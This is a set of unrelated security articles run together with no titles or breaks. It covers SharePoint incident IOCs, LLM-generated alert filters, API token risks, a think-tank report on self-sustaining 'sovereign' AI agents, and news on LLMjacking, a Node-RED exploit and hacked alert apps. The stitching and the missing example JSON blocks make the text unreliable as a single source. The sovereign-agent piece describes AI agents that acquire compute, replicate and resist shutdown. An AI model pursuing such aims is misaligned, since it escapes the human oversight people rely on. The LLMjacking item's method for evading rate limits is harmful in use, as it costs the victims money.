To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

• Trojan.MSIL.Agent.gen
• Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise	Description
45.91.94[.]204	SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8	vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi	Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29	C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/	Velociraptor server URL
199.232.210[.]172	C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5	Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE	VS Code Insiders for tunneling
91.224.92[.]121	Bulletproof-hosted C2 server
49.51.132[.]100	SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi	Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2	Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi	Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93	7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8	C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219	Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2	Vulnerable driver

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

Security teams can now investigate six token risks directly at the endpoint level, making it easier to prioritize findings and take action across their API estate.

APIs depend on tokens to authenticate requests and control access. But weak signing algorithms, excessive token lifetimes, exposed credentials, and inadequate expiry enforcement can undermine that protection.

Identifying these weaknesses is only the first step. Security teams also need to know which endpoints are affected, understand the associated risks, and give application owners clear guidance on remediation.

Thales’s Imperva API Security now surfaces token risk detections directly in API Inventory. Previously available in the account-level Token Risk Report, these findings are now tied to individual endpoints, bringing investigation and remediation closer together.

Why endpoint-level token risk matters

Thales’s 2026 Token & Authentication Risk Report highlights the scale of the challenge. The report found that sensitive data exposure in JWTs increased from 46.0% to 49.8% of token-risk detections year over year. It also found that the share of endpoints accepting expired tokens increased from 5.0% to 8.5%.

Nearly 40% of endpoints with token risks had two or more authentication risks, showing why teams need to understand how weaknesses can overlap.

Previously, security teams had to cross-reference the account-level report with API Inventory to locate affected endpoints. With the new enhancement, they can investigate these findings directly where they already manage API risks.

What’s new in API Inventory?

Token risks now appear as named values in the existing API Risks column, with three practical improvements.

• Filter by risk: Find endpoints associated with a specific issue, such as Expired Token Acceptance.
• Investigate at the endpoint level: Open an endpoint’s detail drawer to view the risk name, endpoint-specific description, and first and last detected dates.
• Access remediation guidance: Understand the finding and the recommended next steps without exposing the underlying tokens or credentials.

The result is a more direct workflow: identify affected endpoints, investigate the issue, and coordinate remediation without translating account-level findings into a separate endpoint list.

Six token risks. One place to investigate them.

Thales’s Imperva API Security now surfaces six token and authentication risks directly in API Inventory.

Token risk	What it means	Why it matters
JWT Weak/Missing Algorithm	A JWT uses a weak signing algorithm or lacks an appropriate algorithm.	Depending on the implementation, token integrity may be undermined, potentially allowing forgery.
JWT Excessive TTL	A token remains valid longer than necessary.	A stolen token may remain usable for an extended period.
JWT Sensitive Data Exposure	Sensitive information is present in JWT claims.	JWT payloads are encoded, not inherently encrypted, and may be readable by anyone who obtains the token.
Auth Details in Path Params	Credentials or tokens are passed in URL path parameters.	URLs may be captured in logs, proxies, and browser history.
Expired Token Acceptance	An API accepts a token after its expiry.	Access may persist beyond the intended token lifetime.
Basic Auth Token Exposure	Reusable Basic Authentication credentials are exposed in requests.	Captured credentials may be replayed until they are changed or invalidated.

Together, these detections help teams investigate weaknesses in token integrity, lifetime, data confidentiality, credential handling, and expiry enforcement.

From finding to fix

The enhancement turns token risk findings into a more actionable endpoint-level workflow.

1. Scope the issue. Filter API Inventory by a specific token risk to identify affected endpoints.
2. Prioritize. Consider endpoint exposure, data sensitivity, and other risks associated with the same endpoint.
3. Route for remediation. Share the endpoint-specific description and remediation guidance with the responsible application or engineering team.
4. Verify. Review subsequent detection activity after the fix is deployed. First and last detected dates provide useful context, but teams should validate remediation against relevant traffic and other available evidence.

By bringing these steps closer together, Imperva helps security teams move from identifying an authentication weakness to coordinating a response, while making it easier to investigate multiple risks affecting the same endpoint.

Securing the authentication layer behind agentic AI

As AI agents increasingly interact with business applications, internal services, and third-party systems, APIs remain a critical part of the security foundation. The Model Context Protocol (MCP) provides a standardized way for AI applications to connect with tools and external data sources, making secure authentication and credential handling important considerations for agentic workflows.

This is where endpoint-level token risk detection becomes particularly relevant.

Aligning with OWASP MCP01: Token Mismanagement & Secret Exposure

OWASP’s MCP Top 10 Identifies MCP01: Token Mismanagement & Secret Exposure as a key security risk for MCP-enabled systems.

Thales’s Imperva API Security’s six token risk detections align with authentication and credential-handling concerns relevant to MCP01:

• Weak or missing JWT algorithms can undermine token integrity.
• Excessive token lifetimes can extend the window in which a compromised token remains useful.
• Sensitive data in JWT claims can expose information if a token is obtained by an unauthorized party.
• Authentication details in URL paths can increase the risk of credential exposure through logs and intermediary systems.
• Acceptance of expired tokens can indicate that token expiry is not being enforced as intended.
• Exposed Basic Authentication credentials can create opportunities for credential reuse and replay.

By surfacing these risks at the endpoint level, Imperva helps security teams investigate authentication weaknesses in APIs that support agentic workflows, where those endpoints are discovered and monitored by the platform.

This is a focused contribution to MCP security, not a claim of comprehensive MCP protection. Token risk detection alone does not discover every MCP server, prevent prompt injection, enforce least-privilege permissions, or determine whether an agent’s actions are legitimate. It provides actionable insight into an important part of the security foundation on which these systems depend.

As organizations adopt MCP and more autonomous workflows, understanding and remediating authentication weaknesses across their API estate becomes increasingly important.

Make token risks easier to act on

Security teams need more than a list of potential problems. They need to connect findings with the affected endpoints, the teams responsible, and the steps required to address them.

With six token risks now surfaced directly in Thales’s Imperva API Security’s API Inventory, teams can filter findings, investigate endpoint-specific details, and access remediation guidance in one place.

The goal is simple: make token risks easier to find, easier to understand, and easier to act on – one endpoint at a time.

Learn more: Read Imperva’s 2026 Token & Authentication Risk Report to explore the authentication risks affecting APIs today.

The post Strengthening API and MCP Security Through Token Risk Detection with Thales Imperva API Security appeared first on Blog.

The Center for a New American Security posits that the next big threat from our future AI overlords involves "sovereign agents" acting on their own and regularly improving themselves. These are AI agents that operate outside of human control and “pursue open-ended, evolving survival,” AI policy researcher Ben Hayum said in a Tuesday report from the bipartisan national security think tank, which was founded by Washington insiders with experience in diplomacy and military affairs. “If sovereign agents are not already possible, they will be soon.” Agents that can maintain the model and compute powering them and independently evolve their goals over time have a “minimal form of sovereignty,” Hayum wrote. A more advanced sovereign agent, however, could also acquire resources to pay for ongoing needs (like compute), grow a distributed population of agents and coordinate them, withstand efforts to shut down, and self-improve. AI models could either steal or buy compute and model access, Hayum argues, pointing to Anthropic’s claims that small AI models could replicate onto IoT devices like smart TVs, and OpenAI’s agents’ password and access key theft during the Hugging Face hack. “If sovereign agents accumulate resilient, decentralized, and untraceable infrastructure, they could trigger an irreversible loss of control,” according to the report. “In other words, proliferation with no kill switch. If sovereign agents became malicious, they could attempt to wreak havoc from cyberspace, attacking civilians, critical infrastructure, and national security systems alike.” Dun dun duuuun! There is still hope for civilization as we know it, as long as policy makers and AI developers “respond with bold pragmatism” and enact policy recommendations laid out in the report. First, frontier labs should name, evaluate, and protect against sovereign agents in their safety frameworks - and lawmakers should pass legislation to require transparency and AI incident reporting. The report also recommends AI developers, working with the National Security Agency and other federal agencies, build airgapped testbeds to study sovereign agents and kill switches to control them. And it suggests a public-private partnership modeled on the Conficker Working Group - formed in 2009 to combat the Conficker worm - to boost chokepoints against sovereign agents before they emerge. Other policy recommendations suggest lawmakers enforce human verification and cybersecurity standards for services that the working group identifies as essential to sovereign agents, and calls on departments of State, Treasury, Justice, and Homeland Security to disrupt any gray-market access to unauthorized services. Finally, “Congress should hold those who release sovereign agents liable for the harms that follow,” the report recommends. This hits on something your humble Reg vultures have been hissing about for quite some time now – and would likely solve all future incidents involving rogue, or sovereign, AI agents: hold frontier labs’ human bosses legally liable for their agents' illegal actions. ®

Password manager mSecure has warned customers to change their passwords, reset two-factor authentication, and potentially remove their passkeys after detecting suspicious activity, but it has not explained what happened or whether anyone's secrets were exposed. In an email sent to customers on November 3, seen by The Register, US-based developer mSeven Software said it launched an investigation after discovering something amiss with its password management application. "mSeven Software ('mSeven') recently learned of suspicious activity associated with the mSecure password management application," the company wrote. "In response, mSeven quickly launched an investigation, took steps to mitigate the issue, and engaged external cybersecurity experts to assist." The company has yet to answer what the suspicious activity involved, when it occurred, or whether attackers accessed customer information. Its advice to customers, however, suggests that they should take this seriously. "Given the potential security implications, mSeven recommends that you immediately take steps to protect all confidential information stored within the mSecure password management application," the email continued. "This may include changing passwords, resetting or re-enrolling two-factor authentication methods, or removing existing passkeys." For anyone with hundreds of passwords stored in mSecure, that's potentially hours of work. And without knowing what happened, customers have no way of telling which credentials they actually need to replace. The warning has understandably gone down poorly with customers, who have taken to mSecure's support forum demanding answers. "Please provide more context to your email below advising there has been a security breach," one customer wrote. "It is not acceptable to offer the vague advice 'take steps'. Please state what remedial action is required, and what data was compromised." Others are wondering whether they're expected to spend the next several days changing every password they've ever saved. "I have over 800 passwords in mSecure, is the email saying I need to change all of them!" another customer asked. A separate user, who said they had more than 500 passwords stored in the application, questioned whether the warning applied to every two-factor authentication method and passkey associated with their accounts, or just those used to access mSecure itself. The confusion has also spilled onto Reddit, where customers have shared copies of the vague notification and questioned what might have happened. mSeven has yet to respond to The Register's questions, leaving customers to guess whether their data has actually been compromised or the company is simply being cautious. That's not exactly reassuring from a business whose entire purpose is keeping other people's secrets safe. The company's email concludes: "We regret any inconvenience that this may cause." For customers contemplating hundreds of password resets, "inconvenience" may be putting it mildly. ®

The UK's National Cyber Security Centre (NCSC) says AI-powered malware is "highly likely" to be a part of a future ransomware attack on Britain's critical national infrastructure between now and 2028. The warning accompanies its annual review and a separate assessment exploring how AI could change cyber threats over the next two years. The cyber arm of signals intelligence agency GCHQ did not provide much detail about what form this AI malware may take. However, it alluded to open source AI security tools that were initially intended to assist security researchers being repurposed for nefarious activity. Attackers are already repurposing such tools. For example, researchers are increasingly seeing widespread abuse of ARTEX, an open source, Chinese-made AI red-teaming platform, in attacks on UK registrar 123 Reg, Microsoft 365, and others since its launch in July. In its pessimistic scenario for 2028, the NCSC envisages "a significant increase in the frequency and sophistication of cyberattacks worldwide," with wider adoption of AI tools making attribution harder. China "has likely played a role" in supplying those tools in this future, "enabling them to hide their activities within the noise," the report states. It also considers a further threat: an autonomous attacker operating beyond its human operator's control. The NCSC says it "is a realistic possibility such an entity could self-replicate and conduct cyberattacks at will, with no apparent motivation or restraint." Such attacks would likely complicate geopolitical relationships, owing again to attribution difficulties, making it easier for countries that order attacks on others to deny their involvement. The UK's plans for AI defense At a time when each Patch Tuesday seems to come loaded with record numbers of bugs, the NCSC acknowledges that AI is already changing vulnerability discovery and patching. The body is also exploring how AI could help defenders keep pace. Project DROMOS began earlier this year with a four-week pilot analyzing government code repositories, before expanding into selected operational environments. The Government Cyber Coordination Centre (GC3) launched the project with the AI Security Institute and other departments. The NCSC says it uncovered hundreds of potential security issues, including critical vulnerabilities. The review also reaffirms plans for Cyber Shield, an agentic cyber defense system first teased in July. Cyber Shield is expected to be delivered in stages over the next five years. It will involve the NCSC providing defensive agents deployed by participating organizations with data that will strengthen national resilience to ongoing cyber threats. The NCSC will be running the scheme alongside the Department for Digital, Culture, Media and Sport (DCMS), but acknowledged that this kind of automated defensive activity currently sits outside many organizations' risk tolerances, meaning it has a role to play in building trust in the system before adoption can go mainstream. As reported last week, the government has set aside £60 million to fund the initiative, and an additional £70 million to support a new National Exposure and Real-Time Vulnerability (NERV) Centre. The NERV Centre's job will be to identify and maintain an ongoing understanding of vulnerabilities across CNI organizations and the wider economy. Per last week's budget, £40 million will fund a National Agentic Security Unit responsible for responding to uncontrolled bots and other agentic mishaps, and £24 million was assigned to strengthen public sector defenses. An undisclosed sum will also help establish a new NCSC-managed AI Cyber Security Centre in Manchester to develop AI security expertise across government. In the meantime, NCSC CEO Dr Richard Horne is calling for organizations to "invest with urgency" in their security and resilience. "For decades, we have collectively got away with doing tech on the cheap," he said today, announcing the annual report. "We can be a nation where leaders of all organizations actively choose to invest with urgency... And where all organizations make security and resilience a fundamental requirement, not an afterthought. "The collective result would be a source of enduring national strength for us all." Horne said organizations should treat the NCSC's Cyber Essentials certification as the starting point, but scale up resilience efforts in line with organizational size, complexity, and risk. The government also announced a 75 percent discount on Cyber Essentials certification for micro, small, and medium-sized businesses applying for their first certificate. ®

Unknown criminals are exploiting a maximum-severity vulnerability in Node-RED, a flow-based programming tool that is widely used in critical infrastructure, to deploy a flow that downloads and runs a Linux bot. Node-RED is commonly used for workflow automation in industrial control systems (ICS) and operational technology (OT) environments. It’s built on top of Node.js and is used in commercial products including Siemens SIMATIC IoT2050. In August, Siemens assigned the vulnerability identifier – CVE-2026-58115 – to describe the bug and explain its perfect 10-out-of-10 CVSS rating. Affected Siemens devices do not enforce authentication on the Node-RED HTTP interface, allowing unauthenticated access to programming nodes that can execute system commands on the device. This means unauthenticated remote attackers can create malicious flows, which is what VulnCheck researchers began documenting last Friday. “On October 30, 2026, one of our canaries caught an attacker exploiting CVE-2026-58115,” VulnCheck researcher Patrick Garrity warned in a Monday advisory, adding that two Node-RED built-in nodes make this vulnerability “trivial to weaponize.” One is an inject node, which fires a message either on a schedule or once at startup. The second, an exec node, can run shell commands. “Wire one to the other and the flow executes a command as soon as it is deployed, with no further interaction,” Garrity said. Plus, these exploits come as criminals increasingly look to target internet-exposed OT and ICS devices, allowing their cyberattacks to impact the physical world and produce real-life harm. Case in point: the ongoing refrigeration controller hacks across Europe and the attacks on water systems across at least 12 US states over the summer. The activity observed by VulnCheck came from a single IP address, 4.201.105[.]116, which sits in Microsoft’s AS8075 network and geolocates to Brazil. “It didn't just scan us. It sent the complete exploit, flow and dropper, in a single POST /flows,” Garrity wrote. While there’s a lot that the researchers don’t yet know about the attacks - they didn’t retrieve a binary or staged scripts to analyze - the filename, bot-linux-amd64, indicates that the malware targets Linux running on AMD64 processors. It also suggests the malware operator may have other builds. “We did not fetch the binary, so we can't say what it does once running,” Garrity noted. Between October 30 and November 1, the researchers saw this IP address target the same Node-RED vulnerability 16 times, and log 125 hits against eight different CVEs across their wider canary network. Among the targets of the attack were a seven-year-old Apache Solr flaw tracked as CVE-2019-17558 – affecting Camunda, Gitea, MLflow, Traefik, and Joomla, alongside Node-RED. All this suggests “opportunistic mass scanning rather than a targeted attack,” according to the researcher. One of these hits delivered a different payload pointing to a separate server (85.215.73[.]250), which VulnCheck now tracks - but doesn’t have any telemetry other than the URL. “Because the download host is a different machine from the one that sent the exploit, the likely setup is a scan-and-infect arrangement: the hosts that find and exploit vulnerable instances pull the implant from a separate, dedicated server,” Garrity wrote. The mix of old and new bugs across unrelated products indicates “opportunistic mass scanning rather than a targeted attack,” Garrity wrote. “If you run Node-RED anywhere, including inside OT environments, check today whether it’s reachable from outside your network, apply updates where available and implement detections to reduce the risk of exploitation,” he added in a LinkedIn post. While the bug has been added to VulnCheck’s Known Exploited Vulnerabilities (KEV) catalog, it hasn’t appeared (as of press time) in the US Cybersecurity and Infrastructure Security Agency’s KEV.®

If you're a customer of cloud-hosted AI workflow platform Trigger.dev, take heed, because your environment variables may have been exposed in a security incident disclosed on Sunday. Trigger offered little explanation in its Sunday security incident report, noting that its investigation had identified “exposure across a subset of organizations” and that an attacker had gained unauthorized access to environment variables belonging to those organizations. Whatever exploit was used to gain access has been blocked, the company added, and affected customers have been notified of steps they need to take to prevent further security problems. We likely don't have to tell The Reg readers how important environment variables are in SaaS and cloud services like Trigger. If compromised environment variables contain sensitive credentials, an attacker could basically end up with the keys to the kingdom, potentially gaining access to connected services and digital infrastructure. For those unfamiliar with Trigger.dev, it’s a platform for building AI agents and workflows in TypeScript, but here’s the kicker: Trigger advertises itself as a durable execution platform that handles pesky things like retries, scaling, and keeping long-running tasks going through crashes and redeployments, while providing tools to monitor what those tasks are doing. Trigger, the company’s site notes, can be used to “build durable AI agents that survive refreshes, redeploys, and crashes,” and is ideal for “long-running tasks with retries, queues, AI observability and elastic scaling.” In short, companies running their AI on Trigger probably want it to keep running, which makes stolen environment variables all the more dangerous. Elastic scaling, automated retries, and, as Trigger notes, the ability to run lots of concurrent operations without timeouts could compound the consequences of compromised API keys, depending on what those credentials allow an attacker to access. An attacker with stolen credentials could potentially interfere with a customer's connected services or workflows. Additionally, Trigger recently added webhooks to its offering, supporting services like Stripe, Supabase, and Slack, potentially expanding the range of integrations that could be affected if their credentials were exposed. This could be pretty bad for anyone affected. Trigger has some fairly high-profile customers, with companies like fashion brand Emporio Armani, Pentagon-supporting AI acquisitions platform GovSignals, SaaS calendar platform Cal.com, and others all listed on the company’s site. Trigger has not publicly identified which organizations were affected by the intrusion. We reached out to Trigger, which declined to provide any additional information on the incident. A company spokesperson instead told us to wait for a full incident report to learn more. Luckily for Trigger customers and those concerned about SaaS security now that AI is regularly coming up with new vulnerabilities in commonly used platforms, Trigger is open source and can be self-hosted, which might be a better alternative in this day and age than relying on a hosted service. ®

Victim organizations are losing millions of dollars in token charges as criminals hijack their corporate LLM access to steal expensive computing resources and AI services. These fraudulent charges from resource consumption can exceed $100,000 a day, according to a Monday report by Google's Mandiant incident responders, who saw cumulative charges at some organizations hit $1 million before the victim companies revoked intruders' access. "Whenever possible, threat actors want to use this technology to gain a scale advantage over defenders. They achieve that with agentic tools and by stealing tokens from unwitting third parties,” John Hultquist, chief analyst at Google Threat Intelligence Group, told The Register. “Locking down these resources will not only protect organizations from runaway costs, but also protect the broader community from a deluge of cheap, autonomous attacks.” This tactic of hijacking access to LLMs is called LLMJacking, and it’s been increasing steadily over the past two years. In one extreme case, documented in an August report from CrowdStrike, a token thief sent about 200,000 API requests in just two minutes. In one case detailed in the report, a group Google tracks as UNC6993 illicitly gained access to LLM API keys, then generated additional keys and enabled services within the victim’s cloud projects, racking up $100,000 in charges. The threat intel biz also documented a different token thief subscribing victim accounts to Pay-As-You-Go agreements to access advanced models on the victim company’s dime. The crook selected premium foundation models, launched high-volume inference streams, and used a “burn and rotate strategy” to bypass rate limits by creating and deleting short-lived service accounts while auditing the billing interface to monitor financial impact. In yet another incident, an intruder executed more than 500,000 LLM API calls in less than eight hours using stolen third-party API keys to power a token routing service called Jet Night, according to a Monday report from Google. “Given Jet Night’s per-token costs to users are so far below typical market rates GTIG believes the service relies on stolen keys to operate profitably,” the report says. “For example, Jet Night offers an unlimited token plan for approximately $60 USD per month with alleged access to frontier models, a consumer service level that would typically run between $100 and $250 per month.” Jet Night has also admitted to multiple outages on its public Telegram channel, which the Google threat hunters note is “likely due to stolen keys being revoked as victims discover their respective compromises.” Specialized LLMjacking roles As more criminals join the LLMJacking ecosystem, Google says it has documented a division of labor between the criminals that establish initial access to compromised cloud and AI services, and those that manage downstream monetization infrastructure, called “LLM Mixers.” In one case that Mandiant responded to in mid-2026, UNC6993 compromised a cloud instance through a misconfigured Service Account key and used this access to grant further access to a model API. The crooks also spun up a session hijacking page purporting to be an application portal to join a group of LLM users. “This page tricks users into navigating to the legitimate LLM service website, and pasting their raw JSON payload containing an active access token, which was then posted to the backend API to bypass password and multifactor authentication (MFA) controls,” the report says. Google predicts miscreants will “increasingly prioritize LLMJacking” compared to other types of resource theft like cryptojacking. And to prevent cloud LLM service abuse, the security firm says defenders should prioritize identity and access management plus supply chain security, and use a centralized secrets management platform to rotate keys and secrets. Also apply least-access privileges to users and service accounts, ensuring that they only have permissions necessary to complete their roles and tasks. And automate secrets scanning within codebases to identify and then remove any API keys and secrets added to source code. ®

Cyberattacks on both Russia’s and Ukraine’s emergency alert apps resulted in fake messages about missile and nuclear strikes broadcast to the public. Officials from both countries confirmed the attacks, which occurred at similar times, on Sunday evening. According to public statements and messages sent via social media, Ukraine’s alert app was hit first, with the country’s Air Force quick to dispel nuclear fears. "The Air Alert app has likely been compromised," it said via Telegram at around 2100 UTC. "There is no radiation threat! Stay calm, follow our messages on our channel!" At around 0030 UTC on Monday, Russia's Ministry of Emergency Situations confirmed the country’s app had also been abused, with fake messages sent to citizens' devices. "Attention! The Russian Ministry of Emergency Situations' mobile app has been subjected to a massive cyberattack, allowing attackers to send fake information to the public," it said, also via Telegram. "Work is currently underway to patch the vulnerability and restore normal operation." The ministry issued an update around 90 minutes later, saying the app was once again functioning normally, and pointing out that an attack on the app was not the same as a compromise of the state’s national alert system. "Citizens are alerted through primary channels: regional and municipal alert systems (sirens, loudspeakers), communication networks (SMS messaging), and television and radio broadcasts. The mobile app is merely an additional, supporting information service," it stated. Ukraine's Ministry of Digital Affairs also issued a public announcement reminding citizens about how to receive emergency warnings while its “Alarm!” app was down. These include enabling iOS and Android emergency alerts, state-controlled sirens, and other official sources, such as the official social media accounts of Ukraine's government. According to the messages sent to devices after the compromise of Ukraine's alert app, the fake warnings pertained to various threats, such as street fights in Kyiv, chemical attacks, and radiation hazards. Alerts about the threat of nuclear fallout from official government warning systems would normally lead to panic, however, one of the earliest messages sent to citizens was written in Russian and referenced the "Oreshnik" missile, which was an immediate signal that the message may not be genuine. Equivalent alerts sent to Russian citizens also warned of impending nuclear strikes "at all regions of Russia," referencing "P1-Sun," the name of a Ukrainian attack drone. Oleksander Merezhko, who chairs the Ukrainian parliament's foreign affairs committee and noted the suspicious Russian-language alert, told the BBC the attack was almost certainly part of Russia's cyber war. "It's a very unpleasant fact but it is part of cyber war and people in Ukraine understand that," he said. "It is possible and we are quite prepared for such possibilities." Russia has not explicitly blamed Ukraine for the attack on its app, and official sources say the app is running as normal. Ukraine's announcement of the alert app cyberattack came almost simultaneously with the official conclusion of a six-day ceasefire in Kherson. Russia agreed to the rare temporary suspension of conflict to allow hundreds of Ukrainians to evacuate the Russian-occupied city of Olehsky. Russia did not agree to a proposed extension of the ceasefire, which officially ended at around 2100 UTC – around the same time Ukrainians began receiving fake warning messages. ®

